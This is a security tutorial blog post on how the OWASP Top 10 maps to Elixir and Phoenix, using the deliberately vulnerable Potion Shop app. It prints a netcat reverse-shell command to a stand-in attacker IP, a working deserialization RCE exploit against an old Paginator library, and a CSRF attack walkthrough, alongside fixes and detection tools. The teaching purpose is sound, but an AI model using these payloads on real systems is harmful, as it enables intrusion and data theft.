Elixir, Phoenix, and the OWASP Top 10

Michael Lubas, 2024-06-20

The OWASP Top 10 is a well known application security awareness document. When a developer working on internet-facing web applications decides to learn about security, OWASP is a frequently recommended source of information, with the Top 10 as the most famous project. The point of this article is to provide developers with enough context to understand the strengths and limitations of the Top 10 document. To properly engage with this subject, it is necessary to define a web application that is vulnerable to some security problems. This article will use the intentionally vulnerable Elixir and Phoenix project Potion Shop to explain how the Top 10 relates to real world security issues.


OWASP stands for Open Worldwide Application Security Project as of 2023 (formerly Open Web Application Security Project). This article was written in 2024 and all references to the OWASP Top 10 refer to the most recent version, published in 2021.

If you are a developer, learning about security for the first time, reading the OWASP Top 10 will likely be a frustrating experience. Starting with A01 Broken Access Control, the description focuses on web applications where a user can perform some unauthorized action. That makes sense, if a normal user can access an admin-only page, that is a clear security violation. But the A01 page also has 34 Common Weakness Enumerations (CWEs), for example Cross-Site Request Forgery (CSRF). What is a CWE? What is CSRF? Does the web framework handle this protection?


Common Weakness Enumeration (CWE) is a list of software and hardware weaknesses. CWE is a community-developed list of common software and hardware weakness types that could have security ramifications. A “weakness” is a condition in a software, firmware, hardware, or service component that, under certain circumstances, could contribute to the introduction of vulnerabilities. - https://cwe.mitre.org/about/index.html
Most categories in the OWASP Top 10 have a number of associated CWEs, for example from A01 Broken Access Control:
CWE-35 Path Traversal: '.../...//'
CWE-285 Improper Authorization
CWE-352 Cross-Site Request Forgery (CSRF)
CWEs are not ordered based on severity, there is some overlap and duplication. For example A01 mentions CWE 22, 23, and 35; all refer to the same type of vulnerability, path traversal.

The OWASP Top 10 is not meant to answer questions about how to assess the security of your project, it is more of a catalogue of security issues. The 2021 version has the following categories, and associated number of CWEs:

  1. Broken Access Control - 34
  2. Cryptographic Failure - 29
  3. Injection - 33
  4. Insecure Design - 40
  5. Security Misconfiguration - 19
  6. Vulnerable and Outdated Components - 3
  7. Identification and Authentication Failures - 22
  8. Software and Data Integrity Failures - 10
  9. Security Logging and Monitoring Failures - 4
  10. Server Side Request Forgery (SSRF) - 1

That is 195 CWEs total, with no context on the severity of each one. This creates a confusing situation for developers learning about security for the first time. Say you are running a Sobelow scan, which checks Elixir source code for security issues, and it reports two findings:

$ mix sobelow --format compact

[+] Config.CSRF: Missing CSRF Protections - lib/carafe_web/router.ex:16
[+] Misc.BinToTerm: Unsafe `binary_to_term` - lib/carafe_web/controllers/user_controller.ex:7

CSRF maps to A01 Broken Access Control, as CWE-352 Cross-Site Request Forgery (CSRF).

While Sobelow does not put the word “deserialization” in the Misc.BinToTerm finding, it maps to A08 Software and Data Integrity Failures, as CWE-502 Deserialization of Untrusted Data.

CSRF is higher up in the OWASP Top 10, and has a higher-number CWE, does that mean it is the more severe vulnerability? The answer is no, deserialization of untrusted data is much worse because it leads to remote code execution (RCE), which gives the attacker the equivalent of production SSH access to the underlying web server. If these acronyms (RCE, CSRF) mean nothing to you at the moment, that is okay, they will be explained soon.

Introduction to Potion Shop

This article will guide you through a security assessment of the vulnerable Elixir application Potion Shop. You will run the code, exploit the vulnerabilities, and learn how to fix them. By doing hands-on exercises, you will gain a deeper understanding of each security issue, how it relates to the OWASP Top 10, and steps you can take to improve the security of your own work. To begin, git clone a copy of Potion Shop locally and run it.

Potion Shop - https://github.com/securityelixir/potion_shop

potion_shop % mix deps.get
potion_shop % mix ecto.setup
potion_shop % iex -S mix phx.server

Go to:

http://localhost:4000/

in your web browser and you should see the above screen. Some possible errors:

  1. If you did not run `mix ecto.setup`, or if the database connection is failing, you will need to fix that before continuing.
  2. Even if you do everything correctly, there may be external factors. I was running the above commands while on a slow wifi connection, where tailwind css (used by Potion shop) was not being downloading in time, leading to page formatting issues.

Now that you have Potion Shop running locally, it is time to perform the first step in every security assessment: understanding the application and threat modeling. Do the following before continuing:

  1. Register a new user
  2. Create a Potion review
  3. Update your user bio
  4. Find the JSON API endpoint that lists Potions

Potion Shop is not a real e-commerce site, it is a simplified example for teaching. Pretend that it is a real site, where users can log in, buy potions, and leave reviews. Before we start listing common vulnerabilities in web applications, consider the following questions:


Q: Is this application exposed to the public internet?

A: Yes, anyone in the world can visit the site from their laptop or phone. This increases the probability of the site being attacked, because many people can send HTTP requests to the web server, which are then processed by the application code.

Q: Who can create an account?

A: Anyone can sign up for an account. This is relevant because in web applications, the conditions for exploiting a vulnerability vary. For example:

  1. Vulnerability A can be exploited by anyone on the internet.
  2. Vulnerability B can only be exploited by users with an account.

This question often comes up when I’m doing a web security assessment for a client. If the impact of vulnerability A and B are the same, A would be considered much more severe in an application where only people trusted by the business are able to create an account. If anyone in the world can signup for an account, then the severity of B increases.

Q: Does this application store customer data?

A: Yes, it does. Any application that stores or processes personally identifiable information (PII) such as names, emails, and addresses should have strong security controls.


Why all these questions? When discussing a vulnerability, security people talk about the impact, meaning what would happen if a bad guy really exploited it. These questions are related to assessing the impact of a vulnerability. For example:

You decide to deploy Potion Shop on a private network, such as a cloud environment only accessible through a VPN. In this configuration, it is not possible for a random person on the internet to exploit the application and gain access to the underlying web server. The overall risk of doing this is low, although you should be mindful that a configuration change that opens this server to the public internet would be dangerous.

Consider a different case with Dave, a software developer at a major bank. Dave ignores the advice in the Potion Shop README and deploys the application in his company’s AWS account, with a security group open the public internet. An attacker breaks into the server, scans the internal network, and gets access to even more servers in the AWS account. This is the start of a data breach! Millions in fines, forensic security consulting bills, and lawyer fees are in the future for Dave’s company, and he will likely be fired for violating the IT policy and causing a data breach due to negligence. Much higher impact!

(It is safe to run Potion Shop on your laptop, as long as you do not expose the code to the internet by deploying it, or by using a service such as ngrok to expose your localhost server to the internet).

As you can see, even the exact same code deployed in different settings can lead to much different outcomes. For our exercise today, we are going to pretend that Potion Shop is the primary e-commerce site operated by a business selling potions. Properties of the site:

  1. Exposed to the public internet.
  2. Allows users to sign up for an account.
  3. Processes credit cards via Stripe.
  4. Stores customer data in a database.

If the site was hacked, it would be very bad for the business. Pay attention to the phrase “if the site was hacked”, what does that actually mean? A few examples:

  1. The attacker exploits a remote code execution (RCE) vulnerability and steals the entire database. This type of data breach happened to Equifax.
  2. The attacker uses a bot to break into user accounts and steal customer information. A similar attack happened to 23andMe. While the underlying server was not technically hacked, it is a major security incident.
  3. The attacker exploits a CSRF vulnerability in the potion review functionality, which leads to fake reviews being posted. Even though no customer data has been stolen, and no fraudulent access was really obtained, users will be upset when they notice reviews they did not write have been published.

All three of these scenarios are covered by the OWASP Top 10:

  1. RCE - A08, Software and Data Integrity Failures
    • CWE-502 Deserialization of Untrusted Data
  2. Bot attack - A01, Broken Access Control and A07 Identification and Authentication Failures
    • Somewhat surprisingly there is no CWE for this scenario in A01, which explicitly mentions "Rate limit API and controller access to minimize the harm from automated attack tooling"
    • A07: CWE-307 Improper Restriction of Excessive Authentication Attempts
  3. CSRF - A01, Broken Access Control
    • CWE-352 Cross-Site Request Forgery (CSRF)

The OWASP Top 10 wants to cover every possible security risk in a web application, however this achieved by defining broad categories such as “broken access control”. The inclusion of specific vulnerabilities (RCE, CSRF) via the 100+ CWEs creates confusion for people learning this material for the first time. When training developers in proper security practices, the risk of severe vulnerabilities should be explicit and clearly explained.

Remote Code Execution (RCE)

Potion Shop is vulnerable to remote code execution (RCE). This is the most severe vulnerability possible, an attacker that exploits it has the equivalent of production SSH access to the underlying web server. While RCE is a type of vulnerability, there are multiple ways it can happen. For example, if you take user input and pass it directly to the unix shell of your web server, it is vulnerable to RCE via command injection, which is A03, Injection on the Top 10. In Elixir, vulnerable code would pass user input to System.cmd:

iex(1)> System.cmd(user_input, [])
{"CHANGELOG.md\nLICENSE\nREADME.md\nlib\nmix.exs\nmix.lock\ntest\n", 0}

This may seem benign at first glance, an attacker can run echo "hello world" on the command line, what is the big deal? The reason many exploits in the information security field have the goal of “getting a shell” is because from this foothold it is possible to establish remote access to the server. In a real attack, the bad guy would create a web server open to the public internet and open a netcat listener:

nc -lvp 4444

Then he would send this command to the vulnerable machine:

nc attacker_ip 4444 -e /bin/bash

Where attacker_ip is the IP address of the server where netcat is listening for incoming connections. If everything works he is granted a primitive remote shell.

The OWASP Top 10 does not treat RCE as one item, it is explicitly mentioned by some categories, while being related to others but not mentioned:

  1. A01 - Broken Access Control: RCE leads to an access control vulnerability because a bad guy can access the underlying web server in a way that only admins should be able to. A01 does not explicitly mention RCE.
  2. A03 - Injection: Several CWEs listed under A03 mention OS Command injection (CWE-77, CWE-78).
  3. A06 - Vulnerable and Outdated Components: You will see later in this article how an outdated dependency leads to RCE. A06 does not explicitly mention it.
  4. A08 - Software and Data Integrity Failures: An interesting bit of history is that in the 2017 Top 10 A08 was "Insecure Deserialization", which is another way in which an application can be vulnerable to RCE. This was re-named to "Software and Data Integrity Failures" for 2021, and has "CWE-502 Deserialization of Untrusted Data".

There are multiple ways an application can be vulnerable to RCE, this fact should be emphasized in any web security educational document. RCE is relevant for all web applications handling sensitive user data, and was the root cause of the 2017 Equifax breach, which led to the personal information of 147 million people being compromised and a $425 million fine.

Potion Shop is vulnerable to RCE via insecure deserialization. Discovering this vulnerability is straightforward, you may have noticed it when fetching the dependencies:

@ potion_shop % mix deps.get
  Resolving Hex dependencies...
  ...
  mix_audit 2.1.3
  paginator 0.6.0 RETIRED!
    (security) Remote Code Execution Vulnerability
  phoenix 1.6.15

The Hex page for Paginator provides more details about the library, it is used to Paginate API calls. The GitHub page shows how the library works, it is installed in the project’s Repo module and is used with Ecto to control how many results are returned from the database.

lib/carafe/repo.ex

defmodule Carafe.Repo do
  use Ecto.Repo,
    otp_app: :carafe,
    adapter: Ecto.Adapters.Postgres

  use Paginator
end

lib/carafe/potions.ex

  def api() do
    q = from(Potion, order_by: [asc: :id])
    Repo.paginate(q, cursor_fields: [:inserted_at, :id], limit: 2)
  end

  def api(a) do
    q = from(Potion, order_by: [asc: :id])
    Repo.paginate(q, after: a, cursor_fields: [:inserted_at, :id], limit: 2)
  end

lib/carafe_web/controllers/potion_controller.ex

  def api(conn, %{"after" => a}) do
    %{entries: entries, metadata: m} = Potions.api(a)
    json(conn, %{potions: entries, after: m.after})
  end

  def api(conn, _params) do
    %{entries: entries, metadata: m} = Potions.api()
    json(conn, %{potions: entries, after: m.after})
  end

Visit http://localhost:4000/api/list and observe how the endpoint returns information about two Potions:

{
  "after": "g2wAAAACdAAAAAl3C21pY3Jvc2Vjb25kaAJhAGEAdwZzZWNvbmRhBHcIY2FsZW5kYXJ3E0VsaXhpci5DYWxlbmRhci5JU093BW1vbnRoYQR3Cl9fc3RydWN0X193FEVsaXhpci5OYWl2ZURhdGVUaW1ldwNkYXlhC3cEeWVhcmIAAAfodwZtaW51dGVhK3cEaG91cmENYQJq",
  "potions": [
    {
      "name": "Strength",
      "milliliters": 50,
      "price": 499,
      "secret": false
    },
    {
      "name": "Feather",
      "milliliters": 10,
      "price": 899,
      "secret": false
    }
  ]
}

The Pagination cursor is that base64 encoded “after” value. To see how it works, copy the long string of characters and visit:

http://localhost:4000/api/list?after=PUT_AFTER_HERE

Make sure to replace PUT_AFTER_HERE with your local machine’s version.

{
  "after": "g2wAAAACdAAAAAl3C21pY3Jvc2Vjb25kaAJhAGEAdwZzZWNvbmRhBHcIY2FsZW5kYXJ3E0VsaXhpci5DYWxlbmRhci5JU093BW1vbnRoYQR3Cl9fc3RydWN0X193FEVsaXhpci5OYWl2ZURhdGVUaW1ldwNkYXlhC3cEeWVhcmIAAAfodwZtaW51dGVhK3cEaG91cmENYQRq",
  "potions": [
    {
      "name": "Jump",
      "milliliters": 25,
      "price": 299,
      "secret": false
    },
    {
      "name": "Levitate",
      "milliliters": 40,
      "price": 2999,
      "secret": false
    }
  ]
}

What does the string of characters mean?

iex(1)> a = "g2wAAAACdAAAAAl3C21pY3Jvc2Vjb25kaAJhAGEAdwZzZWNvbmRhBHcIY2FsZW5kYXJ3E0VsaXhpci5DYWxlbmRhci5JU093BW1vbnRoYQR3Cl9fc3RydWN0X193FEVsaXhpci5OYWl2ZURhdGVUaW1ldwNkYXlhC3cEeWVhcmIAAAfodwZtaW51dGVhK3cEaG91cmENYQRq"
iex(2)> a |> Base.url_decode64!() |> :erlang.binary_to_term()
[~N[2024-04-11 13:43:04], 4]

It is an encoded Elixir list.

In November of 2020 Peter Stöckli discovered the Paginator library was vulnerable to RCE, you can read his writeup here. To understand how this vulnerability works, you first need to understand that Elixir and Erlang terms can be encoded in the Erlang external term format. For example:

iex(1)> t = [1, [2], %{"NY" => "New York"}]
[1, [2], %{"NY" => "New York"}]

Consider the above list, t. You are writing an Elixir program that runs on your laptop, and you want to send this data to a remote server, which is also running Elixir. The safe way to do this is encoding the list as JSON. The unsafe way is by encoding it as an Erlang binary:

iex(1)> t = [1, [2], %{"NY" => "New York"}]
[1, [2], %{"NY" => "New York"}]
iex(2)> t |> :erlang.term_to_binary()
<<131, 108, 0, 0, 0, 3, 97, 1, 107, 0, 1, 2, 116, 0, 0, 0, 1, 109, 0, 0, 0, 2,
  78, 89, 109, 0, 0, 0, 8, 78, 101, 119, 32, 89, 111, 114, 107, 106>>
iex(3)> t |> :erlang.term_to_binary() |> Base.url_encode64()
"g2wAAAADYQFrAAECdAAAAAFtAAAAAk5ZbQAAAAhOZXcgWW9ya2o="
iex(4)> b = "g2wAAAADYQFrAAECdAAAAAFtAAAAAk5ZbQAAAAhOZXcgWW9ya2o="
"g2wAAAADYQFrAAECdAAAAAFtAAAAAk5ZbQAAAAhOZXcgWW9ya2o="

Now that the Elixir term is encoded as a base64 string, you can send that string over the network to the remote server, which can then decode the data back into an Elixir term:

iex(1)> b |> Base.decode64!()
<<131, 108, 0, 0, 0, 3, 97, 1, 107, 0, 1, 2, 116, 0, 0, 0, 1, 109, 0, 0, 0, 2,
  78, 89, 109, 0, 0, 0, 8, 78, 101, 119, 32, 89, 111, 114, 107, 106>>
iex(2)> b |> Base.decode64!() |> :erlang.binary_to_term
[1, [2], %{"NY" => "New York"}]

The Erlang documentation lists all possible data types for terms, including functions. Funs make it possible to create an anonymous function and pass the function itself — not its name — as argument to other functions

On your local machine:

iex(1)> a = fn -> IO.puts("Hello World") end
#Function<43.105768164/0 in :erl_eval.expr/6>
iex(2)> a |> :erlang.term_to_binary() |> Base.url_encode64()
"g3AAAAELAMm8nI8Qfq0gWk_NzqDBsfgAAAArAAAAAXcIZXJsX2V2YWxhK2IGTeTkWHcNbm9ub2RlQG5vaG9zdAAAAG0AAAAAAAAAAGgGYQF0AAAAAHcEbm9uZXcEbm9uZXQAAAAAbAAAAAFoBXcGY2xhdXNlYQFqamwAAAABaAR3BGNhbGxhAWgEdwZyZW1vdGVhAWgDdwRhdG9tYQF3CUVsaXhpci5JT2gDdwRhdG9tYQF3BHB1dHNsAAAAAWgDdwNiaW5hAWwAAAABaAV3C2Jpbl9lbGVtZW50YQFoA3cGc3RyaW5nYQFrAAtIZWxsbyBXb3JsZHcHZGVmYXVsdHcHZGVmYXVsdGpqamo="

On the remote server:

iex(1)> b
"g3AAAAELAMm8nI8Qfq0gWk_NzqDBsfgAAAArAAAAAXcIZXJsX2V2YWxhK2IGTeTkWHcNbm9ub2RlQG5vaG9zdAAAAG0AAAAAAAAAAGgGYQF0AAAAAHcEbm9uZXcEbm9uZXQAAAAAbAAAAAFoBXcGY2xhdXNlYQFqamwAAAABaAR3BGNhbGxhAWgEdwZyZW1vdGVhAWgDdwRhdG9tYQF3CUVsaXhpci5JT2gDdwRhdG9tYQF3BHB1dHNsAAAAAWgDdwNiaW5hAWwAAAABaAV3C2Jpbl9lbGVtZW50YQFoA3cGc3RyaW5nYQFrAAtIZWxsbyBXb3JsZHcHZGVmYXVsdHcHZGVmYXVsdGpqamo="
iex(2)> b |> Base.url_decode64!() |> :erlang.binary_to_term([:safe])
#Function<43.105768164/0 in :erl_eval.expr/6>

A common misconception is that the code:

:erlang.binary_to_term(user_input, [:safe])

is secure, because of that :safe atom. The :safe option only restricts new atoms from being created, which can lead to denial of service. It does not prevent executable code from being submitted to the function, which is a much more severe security risk.

At this point, it is possible for a bad guy to encode a malicious Elixir function and submit it to the web server to achieve remote code execution (RCE), yet experienced Elixir programmers know that to actually execute an anonymous function you have to call it with the dot syntax:

iex(10)> f = fn -> IO.puts("Hi") end
#Function<43.105768164/0 in :erl_eval.expr/6>
iex(11)> f.()
Hi
:ok

When writing code that uses :erlang.binary_to_term, the author expects a non-executable type to be returned, such as a list or map. In order for the malicious function to be executed, there would have to be some code path where the dot syntax is used to call the term, for example:

[1,2,3].()
or
{1,2,3}.(a, b)

So the risk of this being exploited is low? Now we come to an interesting bit of Elixir trivia. Did you know that anonymous functions with an arity of 2 (meaning they have 2 arguments) implement the enumerable protocol?

iex(1)> a = fn _ -> IO.puts("Will not run") end
#Function<42.105768164/1 in :erl_eval.expr/6>
iex(2)> b = fn _, _ -> IO.puts("Will run") end
#Function<41.105768164/2 in :erl_eval.expr/6>
iex(3)> Enum.zip(a)
** (Protocol.UndefinedError) protocol Enumerable not implemented for #Function<42.105768164/1 in :erl_eval.expr/6> of type Function, only anonymous functions of arity 2 are enumerable
    (elixir 1.15.7) lib/enum.ex:4864: Enumerable.Function.reduce/3
    (elixir 1.15.7) lib/enum.ex:4387: Enum.map/2
    (elixir 1.15.7) lib/stream.ex:1346: Stream.zip_enum/4
    (elixir 1.15.7) lib/enum.ex:4041: Enum.zip_reduce/3
    (elixir 1.15.7) lib/enum.ex:3895: Enum.zip/1
iex(3)> Enum.zip(b)
Will run
** (ArgumentError) errors were found at the given arguments:

  * 2nd argument: not a tuple

    :erlang.element(2, :ok)
    (elixir 1.15.7) lib/enum.ex:4387: Enum.map/2
    (elixir 1.15.7) lib/stream.ex:1346: Stream.zip_enum/4
    (elixir 1.15.7) lib/enum.ex:4041: Enum.zip_reduce/3
    (elixir 1.15.7) lib/enum.ex:3895: Enum.zip/1

Even with the above errors, notice “Will run” was executed! This means that for an Elixir application to be vulnerable, the following conditions must exist:

  1. User input is decoded via :erlang.binary_to_term
  2. The returned term is passed to an `Enum` function

This is exactly what happened with the Paginator library. Do you remember what that base64 decoded Paginator string was?

[~N[2024-04-11 13:43:04], 4]

An Elixir list, exactly the kind of data that gets passed to an Enum function. Now that you understand why :erlang.binary_to_term is dangerous, lets improve your understanding by walking through how to exploit it.

Ensure Potion Shop is running and go to http://localhost:4000/api/list

Submit the “after” value from your local machine in the URL:

http://localhost:4000/api/list?after=PUT_AFTER_HERE

Now you are going to write an exploit for this vulnerable program. In a real attack, the goal of the bad guy is to open a reverse shell, which grants them the equivalent of SSH access to the server. For this exercise, we just want to prove that a malicious HTTP request can trigger attacker-controlled shell commands, so we open the calculator on MacOS. If you are on Windows or Linux, this example won’t work, and you will have to modify it:

exploit = fn _, _ ->  System.cmd("open", ["-a", "Calculator"]); {:cont, []} end
payload =
  exploit
  |> :erlang.term_to_binary()
  |> Base.url_encode64()

Take the long output of this program and paste it into the after?= part of the URL:

If you see the calculator open, congratulations, you just performed an RCE attack against a vulnerable Elixir application! Note that running Sobelow will not detect this vulnerability, because the source of it is the Paginator library. To see how Paginator fixed this problem, view commit bf45e92 here.

If you upgrade the Paginator library, you can then run the above exploit and see that it no longer works. The documentation for Plug.Crypto goes into detail on non_executable_binary_to_term/2.

Now that you have walked through how this vulnerability works, lets go over some questions to check your understanding.


Q: What is the name for this type of vulnerability?

A: Remote code execution (RCE) via insecure deserialization of data, introduced through a vulnerable dependency.

Q: If an attacker exploits this vulnerability, what is the impact?

A: The attacker now has the equivalent of production SSH access to the server. Because the application server requires full database access, he can download a copy, causing a data breach. From this compromised server, he can also move through the network, scanning for internal servers to compromise.

Q: If an application is running the vulnerable version of Paginator, which OWASP Top 10 risks are related to this issue ?

A: You can argue that it falls under:

  1. A01: Broken Access Control (the attacker can SSH into the server)
  2. A03: Injection (the attacker is sending data that is not validated, filtered, or sanitized by the application)
  3. A06: Vulnerable and Outdated Components (explicitly mentioned)
  4. A08: Software and Data Integrity Failures (explicitly mentioned)

I don’t like this question because it focuses on pedantic classification over true understanding. A01 does not mention remote code execution, and you can argue A03 only applies to RCE via command injection, because deserialization is explicitly mentioned in A08. None of this is relevant to understanding the true impact.


Another question you may have is “How do I prevent remote code execution in my own work?”. For an Elixir web application:

  1. In the top level code, use Sobelow for static analysis. A guide to the possible findings can be found here. It has the following checks:
    • UID 1, CI.OS: Command Injection in :os.cmd
    • UID 2, CI.System: Command Injection in System.cmd
    • UID 14, Misc.BinToTerm: Unsafe binary_to_term
    • UID 15, RCE.CodeModule: Code execution in eval function
    • UID 16, RCE.EEx: Code Execution in EEx template eval
  2. For dependencies, use MixAudit
  3. If you want to detect/block RCE at runtime, Paraxial.io does this, the details of the implementation are open source.

The above tools are helpful only if you understand the security model of the software you are working on, and the risk of an RCE vulnerability. While every application is different, a statement that is true of most business software is: “If someone can send an HTTP request to the web application which grants them a remote shell on the server, that is a major security risk that needs to be fixed as soon as possible.”


Cross Site Request Forgery (CSRF)

Potion Shop is also vulnerable to a cross site request forgery (CSRF) vulnerability. At a high level:

  1. The application has some state changing action that a logged in user can perform. For example, leaving a review on a product.
  2. Due to a quirk of how websites and web browsers work, one website in your browser can initiate a POST request, on a different website, which includes your current session for that site. For example, you are using potionshop.com, and then visit legitcoupons.com. The legitcoupons.com can trigger a POST request, written by the bad guy, in your potionshop.com browser tab.
  3. The malicious website cannot read the response of this HTTP request. It can only send the POST request, as a "write-only" request.

The name is fairly descriptive of this vulnerability. “Cross site” refers to the malicious site initiating a POST request in the browsing session of the victim. “Request forgery” describes the POST request which is written by a bad guy, not the real user. This leads to actions in the web application, such as leaving a review, which appear to be the action of the victim user, but were really caused (forged) by the attacker.

For a real example, ensure Potion Shop is running, create an account, and leave a review:

Before clicking “Submit”, open your browser’s developer tools and observe the request:

Note that the user’s session cookie is automatically included in the request. This is how the malicious site is able to perform some privileged action, like leaving a review:

Click the “Payload” tab:

Notice the review body is contained in the POST request. Attentive readers may have noticed this request also contains a _csrf_token. Does that mean this form is secure? The answer is no, because the backend is not checking the validity of the this token.

To perform a CSRF attack, create the following file:

vim attack.html

Replace VICTIM_EMAIL_HERE with the email address of your Potion Shop account. Save the file, then open it in a new tab, next to Potion Shop:

Note that in a real attack, this information would never be shown to the victim, the form would be submitted as soon as the page is loaded, and completely hidden from view. Submit the form and observe:

This attack only works when the victim is logged in! Log in to your account and try again:

This is the key part of CSRF: The message “I’m the bad guy!” is controlled by a different website, in this case the attack.html file, but in a real attack this would be a completely different website.


Q: In this example attack, the bad guy is able to create a Potion review that appears to be authored by the victim. What are some other ways this could be exploited?

A:

  1. Banking App: The victim transfers money to an account controlled by the attacker
  2. Social media: The victim publishes a malicious post

These examples would work because the act of transferring money or creating a post requires a user to be logged in, and is the result of an HTTP POST request.

Q: Can an attacker use CSRF to access the underlying web server or database?

A: No, the impact is limited to triggering an HTTP POST request on behalf of the victim user.

Q: A web application has zero users currently logged in. Could a bad guy exploit a CSRF vulnerability in the application?

A: No, a victim user must be logged in for the attack to work.


As you can see, the overall impact of CSRF is lower than RCE. Even in a banking application where a CSRF vulnerability would allow the attacker to transfer money, pulling off the attack would require the victim to be logged in and visit an attacker controlled website. With an RCE exploit, the attacker could break into the web server at any time and transfer money from any account, access the production database, etc.

When it comes to the OWASP Top 10, CSRF is explicitly mentioned under A01 Broken Access Control as CWE-352 Cross-Site Request Forgery (CSRF). The reason I personally don’t recommend the Top 10 to developers with zero background security knowledge is that the document does not explain what CSRF is, the impact it has, and how to prevent it in your own work.

CSRF is something the Phoenix framework handles for you by default. When you generate a form in Phoenix using the standard library functions, it automatically includes a CSRF token. From the above example:

Because CSRF is a write-only vulnerability, the attacker can not see the value of this token when creating a POST request for the victim to submit. The standard way that most web frameworks (Phoenix, Rails, Django) prevent CSRF is by:

  1. Generating a random CSRF token to be submitted with the HTML form
  2. Checking that the submitted token is valid

That is why the application in the above example is vulnerable, because the backend server was not checking if the CSRF token is valid.

The :browser pipeline in your router.ex file should look like this by default:

  pipeline :browser do
    plug :accepts, ["html"]
    plug :fetch_session
    plug :fetch_live_flash
    plug :put_root_layout, {CarafeWeb.LayoutView, :root}
    plug :protect_from_forgery
    plug :put_secure_browser_headers
    plug :fetch_current_user
  end

The line plug :protect_from_forgery is what checks this value in Phoenix. Notice in Potion Shop’s router there is an additional pipeline:

lib/carafe_web/router.ex

  pipeline :browser_auth do
    plug :accepts, ["html"]
    plug :fetch_session
    plug :fetch_live_flash
    plug :put_root_layout, {CarafeWeb.LayoutView, :root}
    plug :put_secure_browser_headers
    plug :fetch_current_user
  end

This pipeline is missing the line plug :protect_from_forgery. If you add it back in and run the previous example:

An exception is raised indicating the CSRF token is not valid and the attack will fail. Generally speaking, you do not have to worry much about CSRF with Phoenix, because it includes the protections by default, and most developers will stay within the set guardrails. Running Sobelow will detect if your router is missing the CSRF plug:

@ potion_shop % mix sobelow
Config.CSRF: Missing CSRF Protections - High Confidence
File: lib/carafe_web/router.ex
Pipeline: browser_auth
Line: 16

Consider the OWASP Top 10 again. It is possible that CSRF in your application is introduced via a third party dependency, which maps to A06 Vulnerable and Outdated Components. Generating the CSRF token must also be done in a cryptographically secure way, for example if you decided to take a sha256 hash of the current unix time and use that as a valid CSRF token, it would be possible for an attacker to anticipate that value and bypass the protection. That would fall under A02 Cryptographic Failures. You could also argue that failure to include the plug :put_secure_browser_headers falls under A05 Security Misconfiguration. These vulnerabilities do not map cleanly to one category of the Top 10.

There is another type of CSRF in Phoenix which Sobelow will also report on, called “action reuse CSRF”:

Config.CSRFRoute: CSRF via Action Reuse - High Confidence
File: lib/carafe_web/router.ex
Action: edit_bio
Line: 98

Here are the relevant lines:

  scope "/", CarafeWeb do
    pipe_through [:browser, :require_authenticated_user]

    get "/users/settings/edit_bio", UserSettingsController, :edit_bio
    post "/users/settings/edit_bio", UserSettingsController, :edit_bio

Due to how Phoenix handles GET and POST requests, it is possible to have a GET request trigger the action in the POST route. Sobelow is inferring the fact that the POST route is some state-changing action. For more information see What is CSRF via Action Reuse?

Conclusion

The OWASP Top 10 is a document that gives developers and security professionals a common language to talk about web security problems. It is certainly useful to read through the Top 10, and consider how the defined risks are relevant for your own work. My hope is that this article has provided some useful context on how to relate the general nature of security awareness documents with the specific web technology you are using.


Paraxial.io stops data breaches by securing your Elixir and Phoenix apps. Detect and fix critical security issues today.

Subscribe to stay up to date on new posts.